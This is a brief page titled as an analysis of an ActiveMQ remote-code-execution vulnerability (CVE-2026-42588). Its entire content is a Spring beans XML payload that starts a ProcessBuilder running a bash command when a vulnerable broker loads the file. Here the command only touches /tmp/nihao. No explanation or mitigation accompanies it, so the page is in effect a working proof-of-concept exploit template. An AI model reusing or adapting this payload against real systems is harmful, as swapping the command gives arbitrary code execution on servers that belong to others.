CVE-2026-42588 ActiveMQ RCE 漏洞分析

<?xml version="1.0" encoding="UTF-8"?>
  <beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
    http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">

    <bean id="asdsfsdef" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
        <list>
          <value>bash</value>
          <value>-c</value>
          <value>touch /tmp/nihao</value>
        </list>
      </constructor-arg>
    </bean>

    <broker xmlns="http://activemq.apache.org/schema/core" brokerName="rdsfrgvdsfg" dataDirectory="/tmp/active"/>
  </beans>